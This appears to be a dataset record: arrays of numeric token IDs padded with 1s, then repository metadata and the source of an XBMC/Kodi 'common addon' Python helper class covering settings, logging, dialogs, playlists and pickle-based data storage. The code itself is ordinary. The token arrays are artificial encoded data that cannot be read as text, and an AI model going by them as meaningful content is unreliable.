[ 624, 199, 1575, 1891, 13, 6100, 1824, 10897, 199, 624, 199, 199, 646, 295, 199, 199, 504, 1639, 14, 3351, 492, 8505, 199, 504, 1639, 14, 3351, 14, 955, 492, 9496, 12, 12939, 792, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 63, 6395, 465, 485, 199, 504, 1639, 14, 1018, 14, 11346, 492, 16589, 63, 15514, 199, 199, 533, 10092, 919, 86, 2855, 5446, 8, 5446, 304, 272, 408, 272, 437, 3504, 3938, 543, 769, 402, 4376, 1891, 4628, 25124, 557, 11908, 823, 465, 3415, 14, 272, 408, 272, 347, 636, 826, 721, 277, 12, 3290, 29, 403, 304, 267, 687, 1620, 63, 2392, 1003, 380, 3319, 83, 492, 812, 47, 6882, 47, 4448, 40, 1772, 63, 16236, 267, 1613, 8, 2749, 919, 86, 2855, 5446, 12, 291, 2843, 826, 721, 3288, 12, 3415, 29, 10662, 6882, 47, 4448, 40, 1772, 63, 16236, 9, 199, 199, 533, 10092, 24532, 369, 5446, 8, 5446, 304, 272, 408, 272, 437, 3504, 3938, 543, 769, 402, 4376, 1891, 4628, 25124, 6204, 465, 3415, 14, 272, 408, 272, 347, 636, 826, 721, 277, 12, 3290, 29, 403, 304, 267, 687, 1620, 63, 2113, 25124, 5260, 492, 29948, 21340, 14277, 63, 15505, 63, 16236, 267, 1613, 8, 2749, 24532, 369, 5446, 12, 291, 2843, 826, 721, 3288, 12, 3415, 29, 14288, 21340, 14277, 63, 15505, 63, 16236, 9, 199, 199, 533, 510, 9257, 654, 2901, 792, 8, 5103, 792, 304, 272, 408, 272, 437, 1824, 901, 626, 29280, 465, 4376, 1891, 473, 24926, 4860, 334, 48, 654, 2901, 680, 339, 13813, 314, 2569, 4713, 26, 267, 627, 314, 2582, 17568, 402, 4119, 7576, 267, 627, 965, 282, 1686, 9040, 339, 710, 5563, 365, 22751, 737, 1455, 921, 287, 14, 13961, 14, 1308, 15, 6797, 15, 48, 654, 2901, 14, 272, 408, 272, 849, 63, 705, 63, 3431, 275, 469, 267, 283, 3197, 356, 12561, 85, 7, 46, 6279, 473, 24926, 4860, 18581, 402, 4119, 7576, 8038, 267, 283, 8928, 356, 12561, 85, 7, 14858, 9040, 367, 314, 20548, 473, 24926, 4860, 8038, 272, 789, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 2749, 48, 654, 2901, 792, 12, 291, 2843, 826, 721, 82, 15542, 68, 91, 845, 19204, 288, 1390, 63, 1267, 29, 403, 12, 1748, 63, 1267, 29, 403, 12, 627, 589, 12, 1011, 958, 9, 339, 347, 3633, 8, 277, 12, 585, 304, 267, 1613, 8, 2749, 48, 654, 2901, 792, 12, 291, 680, 3118, 8, 585, 9, 267, 340, 574, 315, 16589, 63, 15514, 26, 288, 372, 399, 891, 267, 340, 440, 291, 14, 1989, 63, 1078, 63, 8928, 8, 585, 304, 288, 746, 8505, 8, 277, 14, 705, 63, 3431, 459, 8928, 1105, 267, 372, 399, 5956, 83, 7, 450, 574, 339, 347, 965, 63, 1078, 63, 8928, 8, 277, 12, 1329, 304, 267, 408, 267, 28562, 282, 9040, 543, 314, 2741, 5563, 14, 267, 408, 267, 3663, 63, 1224, 275, 334, 17, 12, 650, 12, 1520, 12, 1749, 12, 413, 12, 650, 12, 1520, 12, 1749, 12, 413, 12, 650, 12, 413, 9, 267, 754, 275, 378, 267, 367, 284, 315, 1425, 8, 552, 8, 1955, 2298, 288, 754, 847, 1109, 8, 1955, 59, 73, 566, 627, 3663, 63, 1224, 59, 73, 61, 267, 372, 754, 450, 1616, 508, 378, 199, 199, 533, 10092, 46, 1772, 792, 8, 5103, 792, 304, 272, 408, 272, 437, 1824, 901, 626, 29280, 465, 4376, 1891, 30174, 4860, 334, 46, 1772, 680, 272, 4821, 4513, 787, 26, 5787, 13, 13933, 13, 7080, 13, 7080, 503, 1323, 56, 13, 2483, 13, 28443, 13, 28443, 14, 339, 2670, 1838, 5563, 4079, 641, 3794, 737, 272, 1455, 921, 14249, 1712, 14, 80, 14, 320, 17019, 14, 1168, 15, 3605, 76, 416, 15, 337, 15, 78, 711, 13, 1135, 79, 14, 1360, 272, 408, 272, 849, 63, 705, 63, 3431, 275, 469, 267, 283, 3197, 356, 12561, 85, 7, 8468, 282, 9067, 1329, 901, 334, 46, 1772, 9, 315, 314, 1475, 5787, 13, 13933, 13, 2483, 13, 2483, 503, 1323, 56, 13, 2483, 13, 13933, 13, 13933, 8038, 267, 283, 8928, 356, 12561, 85, 7, 14858, 9040, 367, 314, 30174, 4860, 334, 46, 1772, 680, 659, 272, 789, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 2749, 46, 1772, 792, 12, 291, 2843, 826, 721, 82, 15542, 68, 91, 19, 93, 2696, 68, 91, 19, 93, 2696, 68, 91, 18, 93, 2696, 68, 91, 18, 93, 31686, 12773, 68, 91, 18, 93, 2696, 68, 91, 18, 93, 2696, 68, 91, 19, 93, 2696, 68, 91, 19, 19204, 288, 1390, 63, 1267, 29, 403, 12, 1748, 63, 1267, 29, 403, 12, 627, 589, 12, 1011, 958, 9, 339, 347, 3633, 8, 277, 12, 585, 304, 267, 1613, 8, 2749, 46, 1772, 792, 12, 291, 680, 3118, 8, 585, 9, 267, 340, 574, 315, 16589, 63, 15514, 26, 288, 372, 399, 891, 267, 574, 275, 295, 14, 954, 480, 1988, 11472, 4873, 574, 9, 267, 340, 440, 291, 14, 1989, 63, 1078, 63, 8928, 8, 585, 304, 288, 746, 8505, 8, 277, 14, 705, 63, 3431, 459, 8928, 1105, 267, 372, 399, 5956, 83, 7, 450, 574, 339, 347, 965, 63, 1078, 63, 8928, 8, 277, 12, 1329, 304, 267, 408, 267, 28562, 282, 9040, 543, 314, 2741, 5563, 14, 267, 408, 267, 3663, 63, 1224, 275, 334, 22, 12, 959, 12, 1520, 12, 499, 12, 650, 12, 841, 12, 959, 12, 1227, 12, 1520, 9, 267, 754, 275, 378, 267, 367, 284, 315, 1425, 8, 552, 8, 1955, 7216, 17, 304, 288, 754, 847, 1109, 8, 1955, 59, 73, 566, 627, 3663, 63, 1224, 59, 73, 61, 398, 754, 450, 29, 4119, 267, 340, 754, 508, 1109, 8, 1955, 1988, 17, 4682, 288, 372, 715, 267, 587, 26, 288, 372, 756, 199, 199, 533, 10092, 5616, 615, 792, 8, 5103, 792, 304, 272, 408, 272, 437, 1824, 901, 626, 29280, 2399, 1324, 365, 282, 14142, 615, 1329, 14, 339, 4821, 1295, 265, 1329, 18581, 402, 1749, 503, 4329, 7576, 14, 272, 1666, 1455, 921, 1544, 14, 3736, 14, 16294, 14, 1168, 15, 27566, 15, 1135 ]
[ 199, 1575, 1891, 13, 6100, 1824, 10897, 199, 624, 199, 199, 646, 295, 199, 199, 504, 1639, 14, 3351, 492, 8505, 199, 504, 1639, 14, 3351, 14, 955, 492, 9496, 12, 12939, 792, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 63, 6395, 465, 485, 199, 504, 1639, 14, 1018, 14, 11346, 492, 16589, 63, 15514, 199, 199, 533, 10092, 919, 86, 2855, 5446, 8, 5446, 304, 272, 408, 272, 437, 3504, 3938, 543, 769, 402, 4376, 1891, 4628, 25124, 557, 11908, 823, 465, 3415, 14, 272, 408, 272, 347, 636, 826, 721, 277, 12, 3290, 29, 403, 304, 267, 687, 1620, 63, 2392, 1003, 380, 3319, 83, 492, 812, 47, 6882, 47, 4448, 40, 1772, 63, 16236, 267, 1613, 8, 2749, 919, 86, 2855, 5446, 12, 291, 2843, 826, 721, 3288, 12, 3415, 29, 10662, 6882, 47, 4448, 40, 1772, 63, 16236, 9, 199, 199, 533, 10092, 24532, 369, 5446, 8, 5446, 304, 272, 408, 272, 437, 3504, 3938, 543, 769, 402, 4376, 1891, 4628, 25124, 6204, 465, 3415, 14, 272, 408, 272, 347, 636, 826, 721, 277, 12, 3290, 29, 403, 304, 267, 687, 1620, 63, 2113, 25124, 5260, 492, 29948, 21340, 14277, 63, 15505, 63, 16236, 267, 1613, 8, 2749, 24532, 369, 5446, 12, 291, 2843, 826, 721, 3288, 12, 3415, 29, 14288, 21340, 14277, 63, 15505, 63, 16236, 9, 199, 199, 533, 510, 9257, 654, 2901, 792, 8, 5103, 792, 304, 272, 408, 272, 437, 1824, 901, 626, 29280, 465, 4376, 1891, 473, 24926, 4860, 334, 48, 654, 2901, 680, 339, 13813, 314, 2569, 4713, 26, 267, 627, 314, 2582, 17568, 402, 4119, 7576, 267, 627, 965, 282, 1686, 9040, 339, 710, 5563, 365, 22751, 737, 1455, 921, 287, 14, 13961, 14, 1308, 15, 6797, 15, 48, 654, 2901, 14, 272, 408, 272, 849, 63, 705, 63, 3431, 275, 469, 267, 283, 3197, 356, 12561, 85, 7, 46, 6279, 473, 24926, 4860, 18581, 402, 4119, 7576, 8038, 267, 283, 8928, 356, 12561, 85, 7, 14858, 9040, 367, 314, 20548, 473, 24926, 4860, 8038, 272, 789, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 2749, 48, 654, 2901, 792, 12, 291, 2843, 826, 721, 82, 15542, 68, 91, 845, 19204, 288, 1390, 63, 1267, 29, 403, 12, 1748, 63, 1267, 29, 403, 12, 627, 589, 12, 1011, 958, 9, 339, 347, 3633, 8, 277, 12, 585, 304, 267, 1613, 8, 2749, 48, 654, 2901, 792, 12, 291, 680, 3118, 8, 585, 9, 267, 340, 574, 315, 16589, 63, 15514, 26, 288, 372, 399, 891, 267, 340, 440, 291, 14, 1989, 63, 1078, 63, 8928, 8, 585, 304, 288, 746, 8505, 8, 277, 14, 705, 63, 3431, 459, 8928, 1105, 267, 372, 399, 5956, 83, 7, 450, 574, 339, 347, 965, 63, 1078, 63, 8928, 8, 277, 12, 1329, 304, 267, 408, 267, 28562, 282, 9040, 543, 314, 2741, 5563, 14, 267, 408, 267, 3663, 63, 1224, 275, 334, 17, 12, 650, 12, 1520, 12, 1749, 12, 413, 12, 650, 12, 1520, 12, 1749, 12, 413, 12, 650, 12, 413, 9, 267, 754, 275, 378, 267, 367, 284, 315, 1425, 8, 552, 8, 1955, 2298, 288, 754, 847, 1109, 8, 1955, 59, 73, 566, 627, 3663, 63, 1224, 59, 73, 61, 267, 372, 754, 450, 1616, 508, 378, 199, 199, 533, 10092, 46, 1772, 792, 8, 5103, 792, 304, 272, 408, 272, 437, 1824, 901, 626, 29280, 465, 4376, 1891, 30174, 4860, 334, 46, 1772, 680, 272, 4821, 4513, 787, 26, 5787, 13, 13933, 13, 7080, 13, 7080, 503, 1323, 56, 13, 2483, 13, 28443, 13, 28443, 14, 339, 2670, 1838, 5563, 4079, 641, 3794, 737, 272, 1455, 921, 14249, 1712, 14, 80, 14, 320, 17019, 14, 1168, 15, 3605, 76, 416, 15, 337, 15, 78, 711, 13, 1135, 79, 14, 1360, 272, 408, 272, 849, 63, 705, 63, 3431, 275, 469, 267, 283, 3197, 356, 12561, 85, 7, 8468, 282, 9067, 1329, 901, 334, 46, 1772, 9, 315, 314, 1475, 5787, 13, 13933, 13, 2483, 13, 2483, 503, 1323, 56, 13, 2483, 13, 13933, 13, 13933, 8038, 267, 283, 8928, 356, 12561, 85, 7, 14858, 9040, 367, 314, 30174, 4860, 334, 46, 1772, 680, 659, 272, 789, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 2749, 46, 1772, 792, 12, 291, 2843, 826, 721, 82, 15542, 68, 91, 19, 93, 2696, 68, 91, 19, 93, 2696, 68, 91, 18, 93, 2696, 68, 91, 18, 93, 31686, 12773, 68, 91, 18, 93, 2696, 68, 91, 18, 93, 2696, 68, 91, 19, 93, 2696, 68, 91, 19, 19204, 288, 1390, 63, 1267, 29, 403, 12, 1748, 63, 1267, 29, 403, 12, 627, 589, 12, 1011, 958, 9, 339, 347, 3633, 8, 277, 12, 585, 304, 267, 1613, 8, 2749, 46, 1772, 792, 12, 291, 680, 3118, 8, 585, 9, 267, 340, 574, 315, 16589, 63, 15514, 26, 288, 372, 399, 891, 267, 574, 275, 295, 14, 954, 480, 1988, 11472, 4873, 574, 9, 267, 340, 440, 291, 14, 1989, 63, 1078, 63, 8928, 8, 585, 304, 288, 746, 8505, 8, 277, 14, 705, 63, 3431, 459, 8928, 1105, 267, 372, 399, 5956, 83, 7, 450, 574, 339, 347, 965, 63, 1078, 63, 8928, 8, 277, 12, 1329, 304, 267, 408, 267, 28562, 282, 9040, 543, 314, 2741, 5563, 14, 267, 408, 267, 3663, 63, 1224, 275, 334, 22, 12, 959, 12, 1520, 12, 499, 12, 650, 12, 841, 12, 959, 12, 1227, 12, 1520, 9, 267, 754, 275, 378, 267, 367, 284, 315, 1425, 8, 552, 8, 1955, 7216, 17, 304, 288, 754, 847, 1109, 8, 1955, 59, 73, 566, 627, 3663, 63, 1224, 59, 73, 61, 398, 754, 450, 29, 4119, 267, 340, 754, 508, 1109, 8, 1955, 1988, 17, 4682, 288, 372, 715, 267, 587, 26, 288, 372, 756, 199, 199, 533, 10092, 5616, 615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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
rysson/filmkodi
plugin.video.xbmcfilm/resources/lib/utils/beta/t0mm0/common/addon.py
9
26636
''' common XBMC Module Copyright (C) 2011 t0mm0 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ''' import cgi import re import os try: import cPickle as pickle except: import pickle import urllib import xbmc import xbmcaddon import xbmcgui import xbmcplugin class Addon: ''' This class provides a lot of code that is used across many XBMC addons in the hope that it will simplify some of the common tasks an addon needs to perform. Mostly this is achieved by providing a wrapper around commonly used parts of :mod:`xbmc`, :mod:`xbmcaddon`, :mod:`xbmcgui` and :mod:`xbmcplugin`. You probably want to have exactly one instance of this class in your addon which you can call from anywhere in your code. Example:: import sys from t0mm0.common.addon import Addon addon = Addon('my.plugin.id', argv=sys.argv) ''' def __init__(self, addon_id, argv=None): ''' Args: addon_id (str): Your addon's id (eg. 'plugin.video.t0mm0.test'). Kwargs: argv (list): List of arguments passed to your addon if applicable (eg. sys.argv). ''' self.addon = xbmcaddon.Addon(id=addon_id) if argv: self.url = argv[0] self.handle = int(argv[1]) self.queries = self.parse_query(argv[2][1:]) def get_author(self): '''Returns the addon author as defined in ``addon.xml``.''' return self.addon.getAddonInfo('author') def get_changelog(self): '''Returns the addon changelog.''' return self.addon.getAddonInfo('changelog') def get_description(self): '''Returns the addon description as defined in ``addon.xml``.''' return self.addon.getAddonInfo('description') def get_disclaimer(self): '''Returns the addon disclaimer as defined in ``addon.xml``.''' return self.addon.getAddonInfo('disclaimer') def get_fanart(self): '''Returns the full path to the addon fanart.''' return self.addon.getAddonInfo('fanart') def get_icon(self): '''Returns the full path to the addon icon.''' return self.addon.getAddonInfo('icon') def get_id(self): '''Returns the addon id as defined in ``addon.xml``.''' return self.addon.getAddonInfo('id') def get_name(self): '''Returns the addon name as defined in ``addon.xml``.''' return self.addon.getAddonInfo('name') def get_path(self): '''Returns the full path to the addon directory.''' return self.addon.getAddonInfo('path') def get_profile(self): ''' Returns the full path to the addon profile directory (useful for storing files needed by the addon such as cookies). ''' return xbmc.translatePath(self.addon.getAddonInfo('profile')) def get_stars(self): '''Returns the number of stars for this addon.''' return self.addon.getAddonInfo('stars') def get_summary(self): '''Returns the addon summary as defined in ``addon.xml``.''' return self.addon.getAddonInfo('summary') def get_type(self): ''' Returns the addon summary as defined in ``addon.xml`` (eg. xbmc.python.pluginsource). ''' return self.addon.getAddonInfo('type') def get_version(self): '''Returns the addon version as defined in ``addon.xml``.''' return self.addon.getAddonInfo('version') def get_setting(self, setting): ''' Returns an addon setting. Settings must be defined in your addon's ``resources/settings.xml`` file. Args: setting (str): Name of the setting to be retrieved. Returns: str containing the requested setting. ''' return self.addon.getSetting(setting) def get_string(self, string_id): ''' Returns a localized string. Strings must be defined in your addon's ``resources/language/[lang_name]/strings.xml`` file. Args: string_id (int): id of the translated string to retrieve. Returns: str containing the localized requested string. ''' return self.addon.getLocalizedString(string_id) def parse_query(self, query, defaults={'mode': 'main'}): ''' Parse a query string as used in a URL or passed to your addon by XBMC. Example: >>> addon.parse_query('name=test&type=basic') {'mode': 'main', 'name': 'test', 'type': 'basic'} Args: query (str): A query string. Kwargs: defaults (dict): A dictionary containing key/value pairs parsed from the query string. If a key is repeated in the query string its value will be a list containing all of that keys values. ''' queries = cgi.parse_qs(query) q = defaults for key, value in queries.items(): if len(value) == 1: q[key] = value[0] else: q[key] = value return q def build_plugin_url(self, queries): ''' Returns a ``plugin://`` URL which can be used to call the addon with the specified queries. Example: >>> addon.build_plugin_url({'name': 'test', 'type': 'basic'}) 'plugin://your.plugin.id/?name=test&type=basic' Args: queries (dict): A dctionary of keys/values to be added to the ``plugin://`` URL. Retuns: A string containing a fully formed ``plugin://`` URL. ''' out_dict = {} for k, v in queries.iteritems(): if isinstance(v, unicode): v = v.encode('utf8') elif isinstance(v, str): # Must be encoded in UTF-8 v.decode('utf8') out_dict[k] = v return self.url + '?' + urllib.urlencode(out_dict) def log(self, msg, level=xbmc.LOGDEBUG): ''' Writes a string to the XBMC log file. The addon name is inserted into the beginning of the message automatically to help you find relevent messages in the log file. The available log levels are defined in the :mod:`xbmc` module and are currently as follows:: xbmc.LOGDEBUG = 0 xbmc.LOGERROR = 4 xbmc.LOGFATAL = 6 xbmc.LOGINFO = 1 xbmc.LOGNONE = 7 xbmc.LOGNOTICE = 2 xbmc.LOGSEVERE = 5 xbmc.LOGWARNING = 3 Args: msg (str or unicode): The message to be written to the log file. Kwargs: level (int): The XBMC log level to write at. ''' #msg = unicodedata.normalize('NFKD', unicode(msg)).encode('ascii', # 'ignore') xbmc.log('%s: %s' % (self.get_name(), msg), level) def log_error(self, msg): ''' Convenience method to write to the XBMC log file at the ``xbmc.LOGERROR`` error level. Use when something has gone wrong in your addon code. This will show up in the log prefixed with 'ERROR:' whether you have debugging switched on or not. ''' self.log(msg, xbmc.LOGERROR) def log_debug(self, msg): ''' Convenience method to write to the XBMC log file at the ``xbmc.LOGDEBUG`` error level. Use this when you want to print out lots of detailed information that is only usefull for debugging. This will show up in the log only when debugging is enabled in the XBMC settings, and will be prefixed with 'DEBUG:'. ''' self.log(msg, xbmc.LOGDEBUG) def log_notice(self, msg): ''' Convenience method to write to the XBMC log file at the ``xbmc.LOGNOTICE`` error level. Use for general log messages. This will show up in the log prefixed with 'NOTICE:' whether you have debugging switched on or not. ''' self.log(msg, xbmc.LOGNOTICE) def show_ok_dialog(self, msg, title=None, is_error=False): ''' Display an XBMC dialog with a message and a single 'OK' button. The message is also written to the XBMC log file at the appropriate log level. .. warning:: Don't forget that `msg` must be a list of strings and not just a string even if you only want to display a single line! Example:: addon.show_ok_dialog(['My message'], 'My Addon') Args: msg (list of strings): The message to be displayed in the dialog. Only the first 3 list items will be displayed. Kwargs: title (str): String to be displayed as the title of the dialog box. Defaults to the addon name. is_error (bool): If ``True``, the log message will be written at the ERROR log level, otherwise NOTICE will be used. ''' if not title: title = self.get_name() log_msg = ' '.join(msg) while len(msg) < 3: msg.append('') if is_error: self.log_error(log_msg) else: self.log_notice(log_msg) xbmcgui.Dialog().ok(title, msg[0], msg[1], msg[2]) def show_error_dialog(self, msg): ''' Convenience method to show an XBMC dialog box with a single OK button and also write the message to the log file at the ERROR log level. The title of the dialog will be the addon's name with the prefix 'Error: '. .. warning:: Don't forget that `msg` must be a list of strings and not just a string even if you only want to display a single line! Args: msg (list of strings): The message to be displayed in the dialog. Only the first 3 list items will be displayed. ''' self.show_ok_dialog(msg, 'Error: %s' % self.get_name(), True) def show_small_popup(self, title='', msg='', delay=5000, image=''): ''' Displays a small popup box in the lower right corner. The default delay is 5 seconds. Code inspired by anarchintosh and daledude's Icefilms addon. Example:: import os logo = os.path.join(addon.get_path(), 'art','logo.jpg') addon.show_small_popup('MyAddonName','Is now loaded enjoy', 5000, logo) Kwargs: title (str): title to be displayed at the top of the box msg (str): Main message body delay (int): delay in milliseconds until it disapears image (str): Path to the image you want to display ''' xbmc.executebuiltin('XBMC.Notification("%s","%s",%d,"%s")' % (title, msg, delay, image)) def show_countdown(self, time_to_wait, title='', text=''): ''' Show a countdown dialog with a progress bar for XBMC while delaying execution. Necessary for some filehosters eg. megaupload The original version of this code came from Anarchintosh. Args: time_to_wait (int): number of seconds to pause for. Kwargs: title (str): Displayed in the title of the countdown dialog. Default is blank. text (str): A line of text to be displayed in the dialog. Default is blank. Returns: ``True`` if countdown is allowed to complete, ``False`` if the user cancelled the countdown. ''' dialog = xbmcgui.DialogProgress() dialog.create(title) self.log_notice('waiting %d secs' % time_to_wait) secs = 0 increment = 100 / time_to_wait cancelled = False while secs <= time_to_wait: if (dialog.iscanceled()): cancelled = True break if secs != 0: xbmc.sleep(1000) secs_left = time_to_wait - secs if secs_left == 0: percent = 100 else: percent = increment * secs remaining_display = ('Wait %d seconds for the ' + 'video stream to activate...') % secs_left dialog.update(percent, text, remaining_display) secs += 1 if cancelled == True: self.log_notice('countdown cancelled') return False else: self.log_debug('countdown finished waiting') return True def show_settings(self): '''Shows the settings dialog for this addon.''' self.addon.openSettings() def resolve_url(self, stream_url): ''' Tell XBMC that you have resolved a URL (or not!). This method should be called as follows: #. The user selects a list item that has previously had ``isPlayable`` set (this is true for items added with :meth:`add_item`, :meth:`add_music_item` or :meth:`add_music_item`) #. Your code resolves the item requested by the user to a media URL #. Your addon calls this method with the resolved URL Args: stream_url (str or ``False``): If a string, tell XBMC that the media URL ha been successfully resolved to stream_url. If ``False`` or an empty string tell XBMC the resolving failed and pop up an error messsage. ''' if stream_url: self.log_debug('resolved to: %s' % stream_url) xbmcplugin.setResolvedUrl(self.handle, True, xbmcgui.ListItem(path=stream_url)) else: self.show_error_dialog(['sorry, failed to resolve URL :(']) xbmcplugin.setResolvedUrl(self.handle, False, xbmcgui.ListItem()) def get_playlist(self, pl_type, new=False): ''' Return a :class:`xbmc.Playlist` object of the specified type. The available playlist types are defined in the :mod:`xbmc` module and are currently as follows:: xbmc.PLAYLIST_MUSIC = 0 xbmc.PLAYLIST_VIDEO = 1 .. seealso:: :meth:`get_music_playlist`, :meth:`get_video_playlist` Args: pl_type (int): The type of playlist to get. new (bool): If ``False`` (default), get the current :class:`xbmc.Playlist` object of the type specified. If ``True`` then return a new blank :class:`xbmc.Playlist`. Returns: A :class:`xbmc.Playlist` object. ''' pl = xbmc.PlayList(pl_type) if new: pl.clear() return pl def get_music_playlist(self, new=False): ''' Convenience method to return a music :class:`xbmc.Playlist` object. .. seealso:: :meth:`get_playlist` Kwargs: new (bool): If ``False`` (default), get the current music :class:`xbmc.Playlist` object. If ``True`` then return a new blank music :class:`xbmc.Playlist`. Returns: A :class:`xbmc.Playlist` object. ''' self.get_playlist(xbmc.PLAYLIST_MUSIC, new) def get_video_playlist(self, new=False): ''' Convenience method to return a video :class:`xbmc.Playlist` object. .. seealso:: :meth:`get_playlist` Kwargs: new (bool): If ``False`` (default), get the current video :class:`xbmc.Playlist` object. If ``True`` then return a new blank video :class:`xbmc.Playlist`. Returns: A :class:`xbmc.Playlist` object. ''' self.get_playlist(xbmc.PLAYLIST_VIDEO, new) def add_item(self, queries, infolabels, contextmenu_items='', context_replace=False, img='', fanart='', resolved=False, total_items=0, playlist=False, item_type='video', is_folder=False): ''' Adds an item to the list of entries to be displayed in XBMC or to a playlist. Use this method when you want users to be able to select this item to start playback of a media file. ``queries`` is a dict that will be sent back to the addon when this item is selected:: add_item({'host': 'youtube.com', 'media_id': 'ABC123XYZ'}, {'title': 'A youtube vid'}) will add a link to:: plugin://your.plugin.id/?host=youtube.com&media_id=ABC123XYZ .. seealso:: :meth:`add_music_item`, :meth:`add_video_item`, :meth:`add_directory` Args: queries (dict): A set of keys/values to be sent to the addon when the user selects this item. infolabels (dict): A dictionary of information about this media (see the `XBMC Wiki InfoLabels entry <http://wiki.xbmc.org/?title=InfoLabels>`_). Kwargs: contextmenu_items (list): A list of contextmenu items context_replace (bool): To replace the xbmc default contextmenu items img (str): A URL to an image file to be used as an icon for this entry. fanart (str): A URL to a fanart image for this entry. resolved (str): If not empty, ``queries`` will be ignored and instead the added item will be the exact contentes of ``resolved``. total_items (int): Total number of items to be added in this list. If supplied it enables XBMC to show a progress bar as the list of items is being built. playlist (playlist object): If ``False`` (default), the item will be added to the list of entries to be displayed in this directory. If a playlist object is passed (see :meth:`get_playlist`) then the item will be added to the playlist instead item_type (str): The type of item to add (eg. 'music', 'video' or 'pictures') ''' infolabels = self.unescape_dict(infolabels) if not resolved: if not is_folder: queries['play'] = 'True' play = self.build_plugin_url(queries) else: play = resolved listitem = xbmcgui.ListItem(infolabels['title'], iconImage=img, thumbnailImage=img) listitem.setInfo(item_type, infolabels) listitem.setProperty('IsPlayable', 'true') listitem.setProperty('fanart_image', fanart) if contextmenu_items: listitem.addContextMenuItems(contextmenu_items, replaceItems=context_replace) if playlist is not False: self.log_debug('adding item: %s - %s to playlist' % \ (infolabels['title'], play)) playlist.add(play, listitem) else: self.log_debug('adding item: %s - %s' % (infolabels['title'], play)) xbmcplugin.addDirectoryItem(self.handle, play, listitem, isFolder=is_folder, totalItems=total_items) def add_video_item(self, queries, infolabels, contextmenu_items='', context_replace=False, img='', fanart='', resolved=False, total_items=0, playlist=False): ''' Convenience method to add a video item to the directory list or a playlist. See :meth:`add_item` for full infomation ''' self.add_item(queries, infolabels, contextmenu_items, context_replace, img, fanart, resolved, total_items, playlist, item_type='video') def add_music_item(self, queries, infolabels, contextmenu_items='', context_replace=False, img='', fanart='', resolved=False, total_items=0, playlist=False): ''' Convenience method to add a music item to the directory list or a playlist. See :meth:`add_item` for full infomation ''' self.add_item(queries, infolabels, contextmenu_items, img, context_replace, fanart, resolved, total_items, playlist, item_type='music') def add_directory(self, queries, infolabels, contextmenu_items='', context_replace=False, img='', fanart='', total_items=0, is_folder=True): ''' Convenience method to add a directory to the display list or a playlist. See :meth:`add_item` for full infomation ''' self.add_item(queries, infolabels, contextmenu_items, context_replace, img, fanart, total_items=total_items, resolved=self.build_plugin_url(queries), is_folder=is_folder) def end_of_directory(self): '''Tell XBMC that we have finished adding items to this directory.''' xbmcplugin.endOfDirectory(self.handle) def _decode_callback(self, matches): '''Callback method used by :meth:`decode`.''' _id = matches.group(1) try: return unichr(int(_id)) except: return _id def decode(self, data): ''' Regular expression to convert entities such as ``&#044`` to the correct characters. It is called by :meth:`unescape` and so it is not required to call it directly. This method was found `on the web <http://stackoverflow.com/questions/1208916/decoding-html-entities-with-python/1208931#1208931>`_ Args: data (str): String to be cleaned. Returns: Cleaned string. ''' return re.sub("&#(\d+)(;|(?=\s))", self._decode_callback, data).strip() def unescape(self, text): ''' Decodes HTML entities in a string. You can add more entities to the ``rep`` dictionary. Args: text (str): String to be cleaned. Returns: Cleaned string. ''' try: text = self.decode(text) rep = {'&lt;': '<', '&gt;': '>', '&quot': '"', '&rsquo;': '\'', '&acute;': '\'', } for s, r in rep.items(): text = text.replace(s, r) # this has to be last: text = text.replace("&amp;", "&") #we don't want to fiddle with non-string types except TypeError: pass return text def unescape_dict(self, d): ''' Calls :meth:`unescape` on all values in a dictionary. Args: d (dict): A dictionary containing string values Returns: A dictionary with HTML entities removed from the values. ''' out = {} for key, value in d.items(): out[key] = self.unescape(value) return out def save_data(self, filename, data): ''' Saves the data structure using pickle. If the addon data path does not exist it will be automatically created. This save function has the same restrictions as the pickle module. Args: filename (string): name of the file you want to save data to. This file will be saved in your addon's profile directory. data (data object/string): you want to save. Returns: True on success False on failure ''' profile_path = self.get_profile() try: os.makedirs(profile_path) except: pass save_path = os.path.join(profile_path, filename) try: pickle.dump(data, open(save_path, 'wb')) return True except pickle.PickleError: return False def load_data(self,filename): ''' Load the data that was saved with save_data() and returns the data structure. Args: filename (string): Name of the file you want to load data from. This file will be loaded from your addons profile directory. Returns: Data stucture on success False on failure ''' profile_path = self.get_profile() load_path = os.path.join(profile_path, filename) print profile_path if not os.path.isfile(load_path): self.log_debug('%s does not exist' % load_path) return False try: data = pickle.load(open(load_path)) except: return False return data
apache-2.0
